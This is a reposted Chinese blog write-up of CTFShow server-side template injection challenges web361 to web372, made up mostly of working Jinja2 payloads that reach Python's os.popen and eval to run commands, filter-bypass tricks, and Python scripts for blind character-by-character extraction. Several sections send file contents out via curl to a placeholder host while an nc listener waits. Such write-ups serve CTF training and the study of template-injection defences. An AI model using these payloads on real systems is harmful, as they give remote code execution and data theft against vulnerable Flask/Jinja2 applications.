CTFSHOW SSTI篇

分类：菜鸟笔记作者：全栈程序员站长

大家好，又见面了，我是你们的朋友全栈君。

文章目录

建议大家先看下笔者之前写的 模板注入的文章

web361

payload name={ {().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web362

payload ?name={ {x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

web363

payload ?name={ {x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

web364

payload ?name={ {x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}} cookie传值 Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

web365

payload ?name={ {x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}} cookie传值 Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

web366、367

palyoad ?name={ {(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} cookie传值 Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

web368

简单解法

import requests
import string
url ='http://826c9e0c-29d3-44de-9689-9f94eec68f1b.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%print(aaa.open(request.cookies.x5).read())%}'
headers={ 
   'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=/flag'''}
r=requests.get(url,headers=headers)
print(r.text)

复杂解法（盲注） payload

import requests
import string
url ='http://85302b44-c999-432c-8891-7ebdf703d6c0.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%if aaa.eval(request.cookies.x5)==request.cookies.x6%}1341{%endif%}'
s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,43):
print(i)
for j in s:
x=flag+j
headers={ 
'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)}
r=requests.get(url,headers=headers)
#print(r.text)
if("1341" in r.text):
flag=x
print(flag)
break

web369

简单解法

http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/
?name=
{ 
% set po=dict(po=a,p=a)|join%}
{ 
% set a=(()|select|string|list)|attr(po)(24)%}
{ 
% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{ 
% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{ 
% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{ 
% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{ 
% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{ 
% set chr=x.chr%}
{ 
% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{ 
%print(x.open(file).read())%}

复杂解法 方法1、读文件盲注

import requests
import string
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+str(ord(s[i]))+')%2b'
else:
t+='chr('+str(ord(s[i]))+')'
return t
url ='''http://b134fd30-bddc-4302-8578-8005b96f73c2.chall.ctf.show/?name= {% set a=(()|select|string|list).pop(24)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} {% set cmd2='''
s=string.digits+string.ascii_lowercase+'{_-}'
flag=''
for i in range(1,50):
print(i)
for j in s:
x=flag+j
u=url+ccchr(x)+'%}'+'{% if x.open(cmd).read('+str(i)+')==cmd2%}'+'1341'+'{% endif%}'
#print(u)
r=requests.get(u)
if("1341" in r.text):			
flag=x
print(flag)
break

方法2、反弹flag 电脑开启监听 nc -lvp 4567

http://da9612ac-2b66-485d-8149-b76a1f03d22c.chall.ctf.show/?name=
{ 
% set a=(()|select|string|list).pop(24)%}
{ 
% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{ 
% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{ 
% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{ 
% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{ 
% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{ 
% set chr=x.chr%}
{ 
% set cmd=
%}
{ 
%if x.eval(cmd)%}
123
{ 
%endif%}

cmd后面的值用脚本生成

s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+str(ord(s[i]))+')%2b'
else:
t+='chr('+str(ord(s[i]))+')'
return t

web370

简单的解法

http://bb03c844-9e63-4ee0-8659-fd30a88c63ff.chall.ctf.show/
?name=
{ 
% set c=(dict(e=a)|join|count)%}
{ 
% set cc=(dict(ee=a)|join|count)%}
{ 
% set ccc=(dict(eee=a)|join|count)%}
{ 
% set cccc=(dict(eeee=a)|join|count)%}
{ 
% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{ 
% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{ 
% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{ 
% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{ 
% set coun=(cc~cccc)|int%}
{ 
% set po=dict(po=a,p=a)|join%}
{ 
% set a=(()|select|string|list)|attr(po)(coun)%}
{ 
% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{ 
% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{ 
% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{ 
% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{ 
% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{ 
% set chr=x.chr%}
{ 
% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{ 
%print(x.open(file).read())%}

暴躁的解法 payload

import requests
cmd='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def fun1(s):
t=[]
for i in range(len(s)):
t.append(ord(s[i]))
k=''
t=list(set(t))
for i in t:
k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n'
return k
def fun2(s):
t=[]
for i in range(len(s)):
t.append(ord(s[i]))
t=list(set(t))
k=''
for i in range(len(s)):
if i<len(s)-1:
k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b'
else:
k+='chr('+'e'*(t.index(ord(s[i]))+1)+')'
return k	
url ='http://68f8cbd4-f452-4d69-b382-81eafed22f3f.chall.ctf.show/?name='+fun1(cmd)+''' {% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd='''+fun2(cmd)+''' %} {%if x.eval(cmd)%} abc {%endif%} '''
print(url)

开启监听 nc -lvp 4567 等待反弹flag

web371

过滤了print

http://c8f74fd3-a05a-477c-bb97-10325b9ce77d.chall.ctf.show?name=
{ 
% set c=(t|count)%}
{ 
% set cc=(dict(e=a)|join|count)%}
{ 
% set ccc=(dict(ee=a)|join|count)%}
{ 
% set cccc=(dict(eee=a)|join|count)%}
{ 
% set ccccc=(dict(eeee=a)|join|count)%}
{ 
% set cccccc=(dict(eeeee=a)|join|count)%}
{ 
% set ccccccc=(dict(eeeeee=a)|join|count)%}
{ 
% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{ 
% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{ 
% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{ 
% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{ 
% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{ 
% set coun=(ccc~ccccc)|int%}
{ 
% set po=dict(po=a,p=a)|join%}
{ 
% set a=(()|select|string|list)|attr(po)(coun)%}
{ 
% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{ 
% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{ 
% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{ 
% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{ 
% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{ 
% set chr=x.chr%}
{ 
% set cmd=
%}
{ 
%if x.eval(cmd)%}
abc
{ 
%endif%}

cmd后面的内容由下面的代码生成

def aaa(t):
t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+aaa(str(ord(s[i])))+')%2b'
else:
t+='chr('+aaa(str(ord(s[i])))+')'
return t
print(ccchr(s))

web372

过滤了count，可以用length替换

跟大佬交换了思路学到了可以用全角数字代替正常数字，大家可以自行探索了。。。。。。

半角转全角代码

def half2full(half):  
full = ''  
for ch in half:  
if ord(ch) in range(33, 127):  
ch = chr(ord(ch) + 0xfee0)  
elif ord(ch) == 32:  
ch = chr(0x3000)  
else:  
pass  
full += ch  
return full  
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)

版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 举报，一经查实，本站将立刻删除。

发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/180160.html原文链接：https://javaforall.cn

原文地址：https://cloud.tencent.com/developer/article/2149827

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 dio@foxmail.com 举报，一经查实，本站将立刻删除。

https命令行工具网络安全

相关推荐

如何学习编程？新手菜鸟如何学编程？
学习编程是顺着互联网的发展潮流，是一件好事。新手如何学习编程？其实不难，不过在学习编程之前你得先了解你的目的是什么？这个很重要，因为目的决定你的发展方向、决定你的发展速度。
it行业都是什么工作？it行业主要做什么？
IT行业是什么工作做什么？IT行业的工作有：产品策划类、页面设计类、前端与移动、开发与测试、营销推广类、数据运营类、运营维护类、游戏相关类等，根据不同的分类下面有细分了不同的岗位。
女生学Java好就业吗？女生适合学Java编程吗？
女生学Java好就业吗？女生适合学Java编程吗？目前有不少女生学习Java开发，但要结合自身的情况，先了解自己适不适合去学习Java，不要盲目的选择不适合自己的Java培训班进行学习。只要肯下功夫钻研，多看、多想、多练
mysql-connect-confused
Can’t connect to local MySQL server through socket \'/var/lib/mysql/mysql.sock问题 1.进入mysql路径
oracle基本命令
oracle基本命令 一、登录操作 1.管理员登录 # 管理员登录 sqlplus / as sysdba 2.普通用户登录
shell判断服务是否启动
一、背景 因为项目中需要通北京网络，所以需要连vpn，但是服务器有时候会断掉，所以写个shell脚本每五分钟去判断是否连接，于是就有下面的shell脚本。
SQL BETWEEN 操作符
BETWEEN 操作符选取介于两个值之间的数据范围内的值。这些值可以是数值、文本或者日期。
​​windows上传ipa到开发者中心app store的方法
假如你已经使用过苹果开发者中心上架app，你肯定知道在苹果开发者中心的web界面，无法直接提交ipa文件，而是需要使用第三方工具，将ipa文件上传到构建版本，开...
SQL 入门篇之什么是别名？
下面的 SQL 语句指定了两个别名，一个是 name 列的别名，一个是 country 列的别名。**提示：**如果列名称包含空格，要求使用双引号或方括号：
windows上传ipa文件到app store的方法​
在使用H5混合开发的app打包后，需要将ipa文件上传到appstore进行发布，就需要去苹果开发者中心进行发布。​
SQL AND & OR 运算符
+----+--------------+---------------------------+-------+---------+
C++ 数组
数组的声明并不是声明一个个单独的变量，比如 number0、number1、...、number99，而是声明一个数组变量，比如 numbers，然后使用 nu...
最全iOS 应用上架流程提交到AppStore
第一步：到appuploader官网下载辅助工具和iCloud驱动，使用前面创建的AppID登录。
SQL ALTER TABLE 语句
如需删除表中的列，请使用下面的语法（请注意，某些数据库系统不允许这种在数据库表中删除列的方式）：
dism操作巨慢
前不久在制作win11pe，制作了一版，1.26GB，太大了，不满意，想再裁剪下，发现这次dism mount正常，commit或discard巨慢，以前都很快...
三种方法卸载Symantec Endpoint Protection 赛门铁克
赛门铁克各个版本概览：https://knowledge.broadcom.com/external/article?legacyId=tech163829
python3.6、python3.10用什么版本的pip
实测Python 3.6.6用pip 21.3.1，再高就报错了，Python 3.10.7用pip 22.3.1是可以的
博通和诺顿
Broadcom Corporation （博通公司，股票代号AVGO）是全球领先的有线和无线通信半导体公司。其产品实现向家庭、 办公室和移动环境以及在这些环境...
高版本c4d在低版本windows系统上打开后不显示窗格
发现个问题，server2016上安装了c4d这些版本，低版本的正常显示窗格，但红色圈出的高版本c4d打开后不显示窗格，
基础网络windows不要使用TAT、如何卸载TAT
TAT：https://cloud.tencent.com/document/product/1340
pythonJavaScriptjavaHTMLPHPreactjsC#AndroidCSSNode.jssqlrpython-3.xMysqLjQueryc++pandasFlutterangularIOSdjangolinuxswifttypescript路由器JSON路由器设置无线路由器h3c华三华三路由器设置华三路由器电脑软件教程arraysdocker软件图文教程Cvue.jslaravelspring-boot